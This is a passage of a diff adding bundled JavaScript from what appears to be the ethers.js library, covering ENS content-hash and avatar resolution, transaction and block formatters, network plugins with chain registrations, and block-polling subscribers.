content-hash or ``null`` if unconfigured. + */ + async getContentHash() { + // keccak256("contenthash()") + const data = await this.#fetch("contenthash(bytes32)"); + // No contenthash + if (data == null || data === "0x") { + return null; + } + // IPFS (CID: 1, Type: 70=DAG-PB, 72=libp2p-key) + const ipfs = data.match(/^0x(e3010170|e5010172)(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/); + if (ipfs) { + const scheme = (ipfs[1] === "e3010170") ? "ipfs" : "ipns"; + const length = parseInt(ipfs[4], 16); + if (ipfs[5].length === length * 2) { + return `${scheme}:/\/${encodeBase58("0x" + ipfs[2])}`; + } + } + // Swarm (CID: 1, Type: swarm-manifest; hash/length hard-coded to keccak256/32) + const swarm = data.match(/^0xe40101fa011b20([0-9a-f]*)$/); + if (swarm && swarm[1].length === 64) { + return `bzz:/\/${swarm[1]}`; + } + assert(false, `invalid or unsupported content hash data`, "UNSUPPORTED_OPERATION", { + operation: "getContentHash()", + info: { data } + }); + } + /** + * Resolves to the avatar url or ``null`` if the avatar is either + * unconfigured or incorrectly configured (e.g. references an NFT + * not owned by the address). + * + * If diagnosing issues with configurations, the [[_getAvatar]] + * method may be useful. + */ + async getAvatar() { + const avatar = await this._getAvatar(); + return avatar.url; + } + /** + * When resolving an avatar, there are many steps involved, such + * fetching metadata and possibly validating ownership of an + * NFT. + * + * This method can be used to examine each step and the value it + * was working from. + */ + async _getAvatar() { + const linkage = [{ type: "name", value: this.name }]; + try { + // test data for ricmoo.eth + //const avatar = "eip155:1/erc721:0x265385c7f4132228A0d54EB1A9e7460b91c0cC68/29233"; + const avatar = await this.getText("avatar"); + if (avatar == null) { + linkage.push({ type: "!avatar", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "avatar", value: avatar }); + for (let i = 0; i < matchers.length; i++) { + const match = avatar.match(matchers[i]); + if (match == null) { + continue; + } + const scheme = match[1].toLowerCase(); + switch (scheme) { + case "https": + case "data": + linkage.push({ type: "url", value: avatar }); + return { linkage, url: avatar }; + case "ipfs": { + const url = getIpfsLink(avatar); + linkage.push({ type: "ipfs", value: avatar }); + linkage.push({ type: "url", value: url }); + return { linkage, url }; + } + case "erc721": + case "erc1155": { + // Depending on the ERC type, use tokenURI(uint256) or url(uint256) + const selector = (scheme === "erc721") ? "tokenURI(uint256)" : "uri(uint256)"; + linkage.push({ type: scheme, value: avatar }); + // The owner of this name + const owner = await this.getAddress(); + if (owner == null) { + linkage.push({ type: "!owner", value: "" }); + return { url: null, linkage }; + } + const comps = (match[2] || "").split("/"); + if (comps.length !== 2) { + linkage.push({ type: `!${scheme}caip`, value: (match[2] || "") }); + return { url: null, linkage }; + } + const tokenId = comps[1]; + const contract = new Contract(comps[0], [ + // ERC-721 + "function tokenURI(uint) view returns (string)", + "function ownerOf(uint) view returns (address)", + // ERC-1155 + "function uri(uint) view returns (string)", + "function balanceOf(address, uint256) view returns (uint)" + ], this.provider); + // Check that this account owns the token + if (scheme === "erc721") { + const tokenOwner = await contract.ownerOf(tokenId); + if (owner !== tokenOwner) { + linkage.push({ type: "!owner", value: tokenOwner }); + return { url: null, linkage }; + } + linkage.push({ type: "owner", value: tokenOwner }); + } + else if (scheme === "erc1155") { + const balance = await contract.balanceOf(owner, tokenId); + if (!balance) { + linkage.push({ type: "!balance", value: "0" }); + return { url: null, linkage }; + } + linkage.push({ type: "balance", value: balance.toString() }); + } + // Call the token contract for the metadata URL + let metadataUrl = await contract[selector](tokenId); + if (metadataUrl == null || metadataUrl === "0x") { + linkage.push({ type: "!metadata-url", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "metadata-url-base", value: metadataUrl }); + // ERC-1155 allows a generic {id} in the URL + if (scheme === "erc1155") { + metadataUrl = metadataUrl.replace("{id}", toBeHex(tokenId, 32).substring(2)); + linkage.push({ type: "metadata-url-expanded", value: metadataUrl }); + } + // Transform IPFS metadata links + if (metadataUrl.match(/^ipfs:/i)) { + metadataUrl = getIpfsLink(metadataUrl); + } + linkage.push({ type: "metadata-url", value: metadataUrl }); + // Get the token metadata + let metadata = {}; + const response = await (new FetchRequest(metadataUrl)).send(); + response.assertOk(); + try { + metadata = response.bodyJson; + } + catch (error) { + try { + linkage.push({ type: "!metadata", value: response.bodyText }); + } + catch (error) { + const bytes = response.body; + if (bytes) { + linkage.push({ type: "!metadata", value: hexlify(bytes) }); + } + return { url: null, linkage }; + } + return { url: null, linkage }; + } + if (!metadata) { + linkage.push({ type: "!metadata", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "metadata", value: JSON.stringify(metadata) }); + // Pull the image URL out + let imageUrl = metadata.image; + if (typeof (imageUrl) !== "string") { + linkage.push({ type: "!imageUrl", value: "" }); + return { url: null, linkage }; + } + if (imageUrl.match(/^(https:\/\/|data:)/i)) { + // Allow + } + else { + // Transform IPFS link to gateway + const ipfs = imageUrl.match(matcherIpfs); + if (ipfs == null) { + linkage.push({ type: "!imageUrl-ipfs", value: imageUrl }); + return { url: null, linkage }; + } + linkage.push({ type: "imageUrl-ipfs", value: imageUrl }); + imageUrl = getIpfsLink(imageUrl); + } + linkage.push({ type: "url", value: imageUrl }); + return { linkage, url: imageUrl }; + } + } + } + } + catch (error) { } + return { linkage, url: null }; + } + static async getEnsAddress(provider) { + const network = await provider.getNetwork(); + const ensPlugin = network.getPlugin("org.ethers.plugins.network.Ens"); + // No ENS... + assert(ensPlugin, "network does not support ENS", "UNSUPPORTED_OPERATION", { + operation: "getEnsAddress", info: { network } + }); + return ensPlugin.address; + } + static async #getResolver(provider, name) { + const ensAddr = await EnsResolver.getEnsAddress(provider); + try { + const contract = new Contract(ensAddr, [ + "function resolver(bytes32) view returns (address)" + ], provider); + const addr = await contract.resolver(namehash(name), { + enableCcipRead: true + }); + if (addr === ZeroAddress) { + return null; + } + return addr; + } + catch (error) { + // ENS registry cannot throw errors on resolver(bytes32), + // so probably a link error + throw error; + } + return null; + } + /** + * Resolve to the ENS resolver for %%name%% using %%provider%% or + * ``null`` if unconfigured. + */ + static async fromName(provider, name) { + let currentName = name; + while (true) { + if (currentName === "" || currentName === ".") { + return null; + } + // Optimization since the eth node cannot change and does + // not have a wildcard resolver + if (name !== "eth" && currentName === "eth") { + return null; + } + // Check the current node for a resolver + const addr = await EnsResolver.#getResolver(provider, currentName); + // Found a resolver! + if (addr != null) { + const resolver = new EnsResolver(provider, addr, name); + // Legacy resolver found, using EIP-2544 so it isn't safe to use + if (currentName !== name && !(await resolver.supportsWildcard())) { + return null; + } + return resolver; + } + // Get the parent node + currentName = currentName.split(".").slice(1).join("."); + } + } + } + + /** + * @_ignore + */ + const BN_0 = BigInt(0); + function allowNull(format, nullValue) { + return (function (value) { + if (value == null) { + return nullValue; + } + return format(value); + }); + } + function arrayOf(format, allowNull) { + return ((array) => { + if (allowNull && array == null) { + return null; + } + if (!Array.isArray(array)) { + throw new Error("not an array"); + } + return array.map((i) => format(i)); + }); + } + // Requires an object which matches a fleet of other formatters + // Any FormatFunc may return `undefined` to have the value omitted + // from the result object. Calls preserve `this`. + function object(format, altNames) { + return ((value) => { + const result = {}; + for (const key in format) { + let srcKey = key; + if (altNames && key in altNames && !(srcKey in value)) { + for (const altKey of altNames[key]) { + if (altKey in value) { + srcKey = altKey; + break; + } + } + } + try { + const nv = format[key](value[srcKey]); + if (nv !== undefined) { + result[key] = nv; + } + } + catch (error) { + const message = (error instanceof Error) ? error.message : "not-an-error"; + assert(false, `invalid value for value.${key} (${message})`, "BAD_DATA", { value }); + } + } + return result; + }); + } + function formatBoolean(value) { + switch (value) { + case true: + case "true": + return true; + case false: + case "false": + return false; + } + assertArgument(false, `invalid boolean; ${JSON.stringify(value)}`, "value", value); + } + function formatData(value) { + assertArgument(isHexString(value, true), "invalid data", "value", value); + return value; + } + function formatHash(value) { + assertArgument(isHexString(value, 32), "invalid hash", "value", value); + return value; + } + const _formatLog = object({ + address: getAddress, + blockHash: formatHash, + blockNumber: getNumber, + data: formatData, + index: getNumber, + removed: allowNull(formatBoolean, false), + topics: arrayOf(formatHash), + transactionHash: formatHash, + transactionIndex: getNumber, + }, { + index: ["logIndex"] + }); + function formatLog(value) { + return _formatLog(value); + } + const _formatBlock = object({ + hash: allowNull(formatHash), + parentHash: formatHash, + parentBeaconBlockRoot: allowNull(formatHash, null), + number: getNumber, + timestamp: getNumber, + nonce: allowNull(formatData), + difficulty: getBigInt, + gasLimit: getBigInt, + gasUsed: getBigInt, + stateRoot: allowNull(formatHash, null), + receiptsRoot: allowNull(formatHash, null), + blobGasUsed: allowNull(getBigInt, null), + excessBlobGas: allowNull(getBigInt, null), + miner: allowNull(getAddress), + prevRandao: allowNull(formatHash, null), + extraData: formatData, + baseFeePerGas: allowNull(getBigInt) + }, { + prevRandao: ["mixHash"] + }); + function formatBlock(value) { + const result = _formatBlock(value); + result.transactions = value.transactions.map((tx) => { + if (typeof (tx) === "string") { + return tx; + } + return formatTransactionResponse(tx); + }); + return result; + } + const _formatReceiptLog = object({ + transactionIndex: getNumber, + blockNumber: getNumber, + transactionHash: formatHash, + address: getAddress, + topics: arrayOf(formatHash), + data: formatData, + index: getNumber, + blockHash: formatHash, + }, { + index: ["logIndex"] + }); + function formatReceiptLog(value) { + return _formatReceiptLog(value); + } + const _formatTransactionReceipt = object({ + to: allowNull(getAddress, null), + from: allowNull(getAddress, null), + contractAddress: allowNull(getAddress, null), + // should be allowNull(hash), but broken-EIP-658 support is handled in receipt + index: getNumber, + root: allowNull(hexlify), + gasUsed: getBigInt, + blobGasUsed: allowNull(getBigInt, null), + logsBloom: allowNull(formatData), + blockHash: formatHash, + hash: formatHash, + logs: arrayOf(formatReceiptLog), + blockNumber: getNumber, + //confirmations: allowNull(getNumber, null), + cumulativeGasUsed: getBigInt, + effectiveGasPrice: allowNull(getBigInt), + blobGasPrice: allowNull(getBigInt, null), + status: allowNull(getNumber), + type: allowNull(getNumber, 0) + }, { + effectiveGasPrice: ["gasPrice"], + hash: ["transactionHash"], + index: ["transactionIndex"], + }); + function formatTransactionReceipt(value) { + return _formatTransactionReceipt(value); + } + function formatTransactionResponse(value) { + // Some clients (TestRPC) do strange things like return 0x0 for the + // 0 address; correct this to be a real address + if (value.to && getBigInt(value.to) === BN_0) { + value.to = "0x0000000000000000000000000000000000000000"; + } + const result = object({ + hash: formatHash, + // Some nodes do not return this, usually test nodes (like Ganache) + index: allowNull(getNumber, undefined), + type: (value) => { + if (value === "0x" || value == null) { + return 0; + } + return getNumber(value); + }, + accessList: allowNull(accessListify, null), + blobVersionedHashes: allowNull(arrayOf(formatHash, true), null), + authorizationList: allowNull(arrayOf((v) => { + let sig; + if (v.signature) { + sig = v.signature; + } + else { + let yParity = v.yParity; + if (yParity === "0x1b") { + yParity = 0; + } + else if (yParity === "0x1c") { + yParity = 1; + } + sig = Object.assign({}, v, { yParity }); + } + return { + address: getAddress(v.address), + chainId: getBigInt(v.chainId), + nonce: getBigInt(v.nonce), + signature: Signature.from(sig) + }; + }, false), null), + blockHash: allowNull(formatHash, null), + blockNumber: allowNull(getNumber, null), + transactionIndex: allowNull(getNumber, null), + from: getAddress, + // either (gasPrice) or (maxPriorityFeePerGas + maxFeePerGas) must be set + gasPrice: allowNull(getBigInt), + maxPriorityFeePerGas: allowNull(getBigInt), + maxFeePerGas: allowNull(getBigInt), + maxFeePerBlobGas: allowNull(getBigInt, null), + gasLimit: getBigInt, + to: allowNull(getAddress, null), + value: getBigInt, + nonce: getNumber, + data: formatData, + creates: allowNull(getAddress, null), + chainId: allowNull(getBigInt, null) + }, { + data: ["input"], + gasLimit: ["gas"], + index: ["transactionIndex"] + })(value); + // If to and creates are empty, populate the creates from the value + if (result.to == null && result.creates == null) { + result.creates = getCreateAddress(result); + } + // @TODO: Check fee data + // Add an access list to supported transaction types + if ((value.type === 1 || value.type === 2) && value.accessList == null) { + result.accessList = []; + } + // Compute the signature + if (value.signature) { + result.signature = Signature.from(value.signature); + } + else { + result.signature = Signature.from(value); + } + // Some backends omit ChainId on legacy transactions, but we can compute it + if (result.chainId == null) { + const chainId = result.signature.legacyChainId; + if (chainId != null) { + result.chainId = chainId; + } + } + // @TODO: check chainID + /* + if (value.chainId != null) { + let chainId = value.chainId; + + if (isHexString(chainId)) { + chainId = BigNumber.from(chainId).toNumber(); + } + + result.chainId = chainId; + + } else { + let chainId = value.networkId; + + // geth-etc returns chainId + if (chainId == null && result.v == null) { + chainId = value.chainId; + } + + if (isHexString(chainId)) { + chainId = BigNumber.from(chainId).toNumber(); + } + + if (typeof(chainId) !== "number" && result.v != null) { + chainId = (result.v - 35) / 2; + if (chainId < 0) { chainId = 0; } + chainId = parseInt(chainId); + } + + if (typeof(chainId) !== "number") { chainId = 0; } + + result.chainId = chainId; + } + */ + // 0x0000... should actually be null + if (result.blockHash && getBigInt(result.blockHash) === BN_0) { + result.blockHash = null; + } + return result; + } + + const EnsAddress = "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e"; + /** + * A **NetworkPlugin** provides additional functionality on a [[Network]]. + */ + class NetworkPlugin { + /** + * The name of the plugin. + * + * It is recommended to use reverse-domain-notation, which permits + * unique names with a known authority as well as hierarchal entries. + */ + name; + /** + * Creates a new **NetworkPlugin**. + */ + constructor(name) { + defineProperties(this, { name }); + } + /** + * Creates a copy of this plugin. + */ + clone() { + return new NetworkPlugin(this.name); + } + } + /** + * A **GasCostPlugin** allows a network to provide alternative values when + * computing the intrinsic gas required for a transaction. + */ + class GasCostPlugin extends NetworkPlugin { + /** + * The block number to treat these values as valid from. + * + * This allows a hardfork to have updated values included as well as + * mulutiple hardforks to be supported. + */ + effectiveBlock; + /** + * The transactions base fee. + */ + txBase; + /** + * The fee for creating a new account. + */ + txCreate; + /** + * The fee per zero-byte in the data. + */ + txDataZero; + /** + * The fee per non-zero-byte in the data. + */ + txDataNonzero; + /** + * The fee per storage key in the [[link-eip-2930]] access list. + */ + txAccessListStorageKey; + /** + * The fee per address in the [[link-eip-2930]] access list. + */ + txAccessListAddress; + /** + * Creates a new GasCostPlugin from %%effectiveBlock%% until the + * latest block or another GasCostPlugin supercedes that block number, + * with the associated %%costs%%. + */ + constructor(effectiveBlock, costs) { + if (effectiveBlock == null) { + effectiveBlock = 0; + } + super(`org.ethers.network.plugins.GasCost#${(effectiveBlock || 0)}`); + const props = { effectiveBlock }; + function set(name, nullish) { + let value = (costs || {})[name]; + if (value == null) { + value = nullish; + } + assertArgument(typeof (value) === "number", `invalud value for ${name}`, "costs", costs); + props[name] = value; + } + set("txBase", 21000); + set("txCreate", 32000); + set("txDataZero", 4); + set("txDataNonzero", 16); + set("txAccessListStorageKey", 1900); + set("txAccessListAddress", 2400); + defineProperties(this, props); + } + clone() { + return new GasCostPlugin(this.effectiveBlock, this); + } + } + /** + * An **EnsPlugin** allows a [[Network]] to specify the ENS Registry + * Contract address and the target network to use when using that + * contract. + * + * Various testnets have their own instance of the contract to use, but + * in general, the mainnet instance supports multi-chain addresses and + * should be used. + */ + class EnsPlugin extends NetworkPlugin { + /** + * The ENS Registrty Contract address. + */ + address; + /** + * The chain ID that the ENS contract lives on. + */ + targetNetwork; + /** + * Creates a new **EnsPlugin** connected to %%address%% on the + * %%targetNetwork%%. The default ENS address and mainnet is used + * if unspecified. + */ + constructor(address, targetNetwork) { + super("org.ethers.plugins.network.Ens"); + defineProperties(this, { + address: (address || EnsAddress), + targetNetwork: ((targetNetwork == null) ? 1 : targetNetwork) + }); + } + clone() { + return new EnsPlugin(this.address, this.targetNetwork); + } + } + /** + * A **FeeDataNetworkPlugin** allows a network to provide and alternate + * means to specify its fee data. + * + * For example, a network which does not support [[link-eip-1559]] may + * choose to use a Gas Station site to approximate the gas price. + */ + class FeeDataNetworkPlugin extends NetworkPlugin { + #feeDataFunc; + /** + * The fee data function provided to the constructor. + */ + get feeDataFunc() { + return this.#feeDataFunc; + } + /** + * Creates a new **FeeDataNetworkPlugin**. + */ + constructor(feeDataFunc) { + super("org.ethers.plugins.network.FeeData"); + this.#feeDataFunc = feeDataFunc; + } + /** + * Resolves to the fee data. + */ + async getFeeData(provider) { + return await this.#feeDataFunc(provider); + } + clone() { + return new FeeDataNetworkPlugin(this.#feeDataFunc); + } + } + class FetchUrlFeeDataNetworkPlugin extends NetworkPlugin { + #url; + #processFunc; + /** + * The URL to initialize the FetchRequest with in %%processFunc%%. + */ + get url() { return this.#url; } + /** + * The callback to use when computing the FeeData. + */ + get processFunc() { return this.#processFunc; } + /** + * Creates a new **FetchUrlFeeDataNetworkPlugin** which will + * be used when computing the fee data for the network. + */ + constructor(url, processFunc) { + super("org.ethers.plugins.network.FetchUrlFeeDataPlugin"); + this.#url = url; + this.#processFunc = processFunc; + } + // We are immutable, so we can serve as our own clone + clone() { return this; } + } + /* + export class CustomBlockNetworkPlugin extends NetworkPlugin { + readonly #blockFunc: (provider: Provider, block: BlockParams) => Block; + readonly #blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block; + + constructor(blockFunc: (provider: Provider, block: BlockParams) => Block, blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block) { + super("org.ethers.network-plugins.custom-block"); + this.#blockFunc = blockFunc; + this.#blockWithTxsFunc = blockWithTxsFunc; + } + + async getBlock(provider: Provider, block: BlockParams): Promise> { + return await this.#blockFunc(provider, block); + } + + async getBlockions(provider: Provider, block: BlockParams): Promise> { + return await this.#blockWithTxsFunc(provider, block); + } + + clone(): CustomBlockNetworkPlugin { + return new CustomBlockNetworkPlugin(this.#blockFunc, this.#blockWithTxsFunc); + } + } + */ + + /** + * A **Network** encapsulates the various properties required to + * interact with a specific chain. + * + * @_subsection: api/providers:Networks [networks] + */ + /* * * * + // Networks which operation against an L2 can use this plugin to + // specify how to access L1, for the purpose of resolving ENS, + // for example. + export class LayerOneConnectionPlugin extends NetworkPlugin { + readonly provider!: Provider; + // @TODO: Rename to ChainAccess and allow for connecting to any chain + constructor(provider: Provider) { + super("org.ethers.plugins.layer-one-connection"); + defineProperties(this, { provider }); + } + + clone(): LayerOneConnectionPlugin { + return new LayerOneConnectionPlugin(this.provider); + } + } + */ + const Networks = new Map(); + /** + * A **Network** provides access to a chain's properties and allows + * for plug-ins to extend functionality. + */ + class Network { + #name; + #chainId; + #plugins; + /** + * Creates a new **Network** for %%name%% and %%chainId%%. + */ + constructor(name, chainId) { + this.#name = name; + this.#chainId = getBigInt(chainId); + this.#plugins = new Map(); + } + /** + * Returns a JSON-compatible representation of a Network. + */ + toJSON() { + return { name: this.name, chainId: String(this.chainId) }; + } + /** + * The network common name. + * + * This is the canonical name, as networks migh have multiple + * names. + */ + get name() { return this.#name; } + set name(value) { this.#name = value; } + /** + * The network chain ID. + */ + get chainId() { return this.#chainId; } + set chainId(value) { this.#chainId = getBigInt(value, "chainId"); } + /** + * Returns true if %%other%% matches this network. Any chain ID + * must match, and if no chain ID is present, the name must match. + * + * This method does not currently check for additional properties, + * such as ENS address or plug-in compatibility. + */ + matches(other) { + if (other == null) { + return false; + } + if (typeof (other) === "string") { + try { + return (this.chainId === getBigInt(other)); + } + catch (error) { } + return (this.name === other); + } + if (typeof (other) === "number" || typeof (other) === "bigint") { + try { + return (this.chainId === getBigInt(other)); + } + catch (error) { } + return false; + } + if (typeof (other) === "object") { + if (other.chainId != null) { + try { + return (this.chainId === getBigInt(other.chainId)); + } + catch (error) { } + return false; + } + if (other.name != null) { + return (this.name === other.name); + } + return false; + } + return false; + } + /** + * Returns the list of plugins currently attached to this Network. + */ + get plugins() { + return Array.from(this.#plugins.values()); + } + /** + * Attach a new %%plugin%% to this Network. The network name + * must be unique, excluding any fragment. + */ + attachPlugin(plugin) { + if (this.#plugins.get(plugin.name)) { + throw new Error(`cannot replace existing plugin: ${plugin.name} `); + } + this.#plugins.set(plugin.name, plugin.clone()); + return this; + } + /** + * Return the plugin, if any, matching %%name%% exactly. Plugins + * with fragments will not be returned unless %%name%% includes + * a fragment. + */ + getPlugin(name) { + return (this.#plugins.get(name)) || null; + } + /** + * Gets a list of all plugins that match %%name%%, with otr without + * a fragment. + */ + getPlugins(basename) { + return (this.plugins.filter((p) => (p.name.split("#")[0] === basename))); + } + /** + * Create a copy of this Network. + */ + clone() { + const clone = new Network(this.name, this.chainId); + this.plugins.forEach((plugin) => { + clone.attachPlugin(plugin.clone()); + }); + return clone; + } + /** + * Compute the intrinsic gas required for a transaction. + * + * A GasCostPlugin can be attached to override the default + * values. + */ + computeIntrinsicGas(tx) { + const costs = this.getPlugin("org.ethers.plugins.network.GasCost") || (new GasCostPlugin()); + let gas = costs.txBase; + if (tx.to == null) { + gas += costs.txCreate; + } + if (tx.data) { + for (let i = 2; i < tx.data.length; i += 2) { + if (tx.data.substring(i, i + 2) === "00") { + gas += costs.txDataZero; + } + else { + gas += costs.txDataNonzero; + } + } + } + if (tx.accessList) { + const accessList = accessListify(tx.accessList); + for (const addr in accessList) { + gas += costs.txAccessListAddress + costs.txAccessListStorageKey * accessList[addr].storageKeys.length; + } + } + return gas; + } + /** + * Returns a new Network for the %%network%% name or chainId. + */ + static from(network) { + injectCommonNetworks(); + // Default network + if (network == null) { + return Network.from("mainnet"); + } + // Canonical name or chain ID + if (typeof (network) === "number") { + network = BigInt(network); + } + if (typeof (network) === "string" || typeof (network) === "bigint") { + const networkFunc = Networks.get(network); + if (networkFunc) { + return networkFunc(); + } + if (typeof (network) === "bigint") { + return new Network("unknown", network); + } + assertArgument(false, "unknown network", "network", network); + } + // Clonable with network-like abilities + if (typeof (network.clone) === "function") { + const clone = network.clone(); + //if (typeof(network.name) !== "string" || typeof(network.chainId) !== "number") { + //} + return clone; + } + // Networkish + if (typeof (network) === "object") { + assertArgument(typeof (network.name) === "string" && typeof (network.chainId) === "number", "invalid network object name or chainId", "network", network); + const custom = new Network((network.name), (network.chainId)); + if (network.ensAddress || network.ensNetwork != null) { + custom.attachPlugin(new EnsPlugin(network.ensAddress, network.ensNetwork)); + } + //if ((network).layerOneConnection) { + // custom.attachPlugin(new LayerOneConnectionPlugin((network).layerOneConnection)); + //} + return custom; + } + assertArgument(false, "invalid network", "network", network); + } + /** + * Register %%nameOrChainId%% with a function which returns + * an instance of a Network representing that chain. + */ + static register(nameOrChainId, networkFunc) { + if (typeof (nameOrChainId) === "number") { + nameOrChainId = BigInt(nameOrChainId); + } + const existing = Networks.get(nameOrChainId); + if (existing) { + assertArgument(false, `conflicting network for ${JSON.stringify(existing.name)}`, "nameOrChainId", nameOrChainId); + } + Networks.set(nameOrChainId, networkFunc); + } + } + // We don't want to bring in formatUnits because it is backed by + // FixedNumber and we want to keep Networks tiny. The values + // included by the Gas Stations are also IEEE 754 with lots of + // rounding issues and exceed the strict checks formatUnits has. + function parseUnits(_value, decimals) { + const value = String(_value); + if (!value.match(/^[0-9.]+$/)) { + throw new Error(`invalid gwei value: ${_value}`); + } + // Break into [ whole, fraction ] + const comps = value.split("."); + if (comps.length === 1) { + comps.push(""); + } + // More than 1 decimal point or too many fractional positions + if (comps.length !== 2) { + throw new Error(`invalid gwei value: ${_value}`); + } + // Pad the fraction to 9 decimalplaces + while (comps[1].length < decimals) { + comps[1] += "0"; + } + // Too many decimals and some non-zero ending, take the ceiling + if (comps[1].length > 9) { + let frac = BigInt(comps[1].substring(0, 9)); + if (!comps[1].substring(9).match(/^0+$/)) { + frac++; + } + comps[1] = frac.toString(); + } + return BigInt(comps[0] + comps[1]); + } + // Used by Polygon to use a gas station for fee data + function getGasStationPlugin(url) { + return new FetchUrlFeeDataNetworkPlugin(url, async (fetchFeeData, provider, request) => { + // Prevent Cloudflare from blocking our request in node.js + request.setHeader("User-Agent", "ethers"); + let response; + try { + const [_response, _feeData] = await Promise.all([ + request.send(), fetchFeeData() + ]); + response = _response; + const payload = response.bodyJson.standard; + const feeData = { + gasPrice: _feeData.gasPrice, + maxFeePerGas: parseUnits(payload.maxFee, 9), + maxPriorityFeePerGas: parseUnits(payload.maxPriorityFee, 9), + }; + return feeData; + } + catch (error) { + assert(false, `error encountered with polygon gas station (${JSON.stringify(request.url)})`, "SERVER_ERROR", { request, response, error }); + } + }); + } + // See: https://chainlist.org + let injected = false; + function injectCommonNetworks() { + if (injected) { + return; + } + injected = true; + /// Register popular Ethereum networks + function registerEth(name, chainId, options) { + const func = function () { + const network = new Network(name, chainId); + // We use 0 to disable ENS + if (options.ensNetwork != null) { + network.attachPlugin(new EnsPlugin(null, options.ensNetwork)); + } + network.attachPlugin(new GasCostPlugin()); + (options.plugins || []).forEach((plugin) => { + network.attachPlugin(plugin); + }); + return network; + }; + // Register the network by name and chain ID + Network.register(name, func); + Network.register(chainId, func); + if (options.altNames) { + options.altNames.forEach((name) => { + Network.register(name, func); + }); + } + } + registerEth("mainnet", 1, { ensNetwork: 1, altNames: ["homestead"] }); + registerEth("ropsten", 3, { ensNetwork: 3 }); + registerEth("rinkeby", 4, { ensNetwork: 4 }); + registerEth("goerli", 5, { ensNetwork: 5 }); + registerEth("kovan", 42, { ensNetwork: 42 }); + registerEth("sepolia", 11155111, { ensNetwork: 11155111 }); + registerEth("holesky", 17000, { ensNetwork: 17000 }); + registerEth("classic", 61, {}); + registerEth("classicKotti", 6, {}); + registerEth("arbitrum", 42161, { + ensNetwork: 1, + }); + registerEth("arbitrum-goerli", 421613, {}); + registerEth("arbitrum-sepolia", 421614, {}); + registerEth("base", 8453, { ensNetwork: 1 }); + registerEth("base-goerli", 84531, {}); + registerEth("base-sepolia", 84532, {}); + registerEth("bnb", 56, { ensNetwork: 1 }); + registerEth("bnbt", 97, {}); + registerEth("linea", 59144, { ensNetwork: 1 }); + registerEth("linea-goerli", 59140, {}); + registerEth("linea-sepolia", 59141, {}); + registerEth("matic", 137, { + ensNetwork: 1, + plugins: [ + getGasStationPlugin("https:/\/gasstation.polygon.technology/v2") + ] + }); + registerEth("matic-amoy", 80002, {}); + registerEth("matic-mumbai", 80001, { + altNames: ["maticMumbai", "maticmum"], + plugins: [ + getGasStationPlugin("https:/\/gasstation-testnet.polygon.technology/v2") + ] + }); + registerEth("optimism", 10, { + ensNetwork: 1, + plugins: [] + }); + registerEth("optimism-goerli", 420, {}); + registerEth("optimism-sepolia", 11155420, {}); + registerEth("xdai", 100, { ensNetwork: 1 }); + } + + function copy$2(obj) { + return JSON.parse(JSON.stringify(obj)); + } + // @TODO: refactor this + /** + * A **PollingBlockSubscriber** polls at a regular interval for a change + * in the block number. + * + * @_docloc: api/providers/abstract-provider + */ + class PollingBlockSubscriber { + #provider; + #poller; + #interval; + // The most recent block we have scanned for events. The value -2 + // indicates we still need to fetch an initial block number + #blockNumber; + /** + * Create a new **PollingBlockSubscriber** attached to %%provider%%. + */ + constructor(provider) { + this.#provider = provider; + this.#poller = null; + this.#interval = 4000; + this.#blockNumber = -2; + } + /** + * The polling interval. + */ + get pollingInterval() { return this.#interval; } + set pollingInterval(value) { this.#interval = value; } + async #poll() { + try { + const blockNumber = await this.#provider.getBlockNumber(); + // Bootstrap poll to setup our initial block number + if (this.#blockNumber === -2) { + this.#blockNumber = blockNumber; + return; + } + // @TODO: Put a cap on the maximum number of events per loop? + if (blockNumber !== this.#blockNumber) { + for (let b = this.#blockNumber + 1; b <= blockNumber; b++) { + // We have been stopped + if (this.#poller == null) { + return; + } + await this.#provider.emit("block", b); + } + this.#blockNumber = blockNumber; + } + } + catch (error) { + // @TODO: Minor bump, add an "error" event to let subscribers + // know things went awry. + //console.log(error); + } + // We have been stopped + if (this.#poller == null) { + return; + } + this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval); + } + start() { + if (this.#poller) { + return; + } + this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval); + this.#poll(); + } + stop() { + if (!this.#poller) { + return; + } + this.#provider._clearTimeout(this.#poller); + this.#poller = null; + } + pause(dropWhilePaused) { + this.stop(); + if (dropWhilePaused) { + this.#blockNumber = -2; + } + } + resume() { + this.start(); + } + } + /** + * An **OnBlockSubscriber** can be sub-classed, with a [[_poll]] + * implmentation which will be called on every new block. + * + * @_docloc: api/providers/abstract-provider + */ + class OnBlockSubscriber { + #provider; + #poll; + #running; + /** + * Create a new **OnBlockSubscriber** attached to %%provider%%. + */ + constructor(provider) { + this.#provider = provider; + this.#running = false; + this.#poll = (blockNumber) => { + this._poll(blockNumber, this.#provider); + }; + } + /** + * Called on every new block. + */ + async _poll(blockNumber, provider) { + throw new Error("sub-classes must override this"); + } + start() { + if (this.#running) { + return; + } + this.#running = true; + this.#poll(-2); + this.#provider.on("block", this.#poll); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + this.#provider.off("block", this.#poll); + } + pause(dropWhilePaused) { this.stop(); } + resume() { this.start(); } + } + class PollingBlockTagSubscriber extends OnBlockSubscriber { + #tag; + #lastBlock; + constructor(provider, tag) { + super(provider); + this.#tag = tag; + this.#lastBlock = -2; + } + pause(dropWhilePaused) { + if (dropWhilePaused) { + this.#lastBlock = -2; + } + super.pause(dropWhilePaused); + } + async _poll(blockNumber, provider) { + const block = await provider.getBlock(this.#tag); + if (block == null) { + return; + } + if (this.#lastBlock === -2) { + this.#lastBlock = block.number; + } + else if (block.number > this.#lastBlock) { + provider.emit(this.#tag, block.number); + this.#lastBlock = block.number; + } + } + } + /** + * @_ignore: + * + * @_docloc: api/providers/abstract-provider + */ + class PollingOrphanSubscriber extends OnBlockSubscriber { + #filter; + constructor(provider, filter) { + super(provider); + this.#filter = copy$2(filter); + } + async _poll(blockNumber, provider) { + throw new Error("@TODO"); + } + } + /** + * A **PollingTransactionSubscriber** will poll for a given transaction + * hash for its receipt. + * + * @_docloc: api/providers/abstract-provider + */ + class PollingTransactionSubscriber extends OnBlockSubscriber { + #hash; + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for 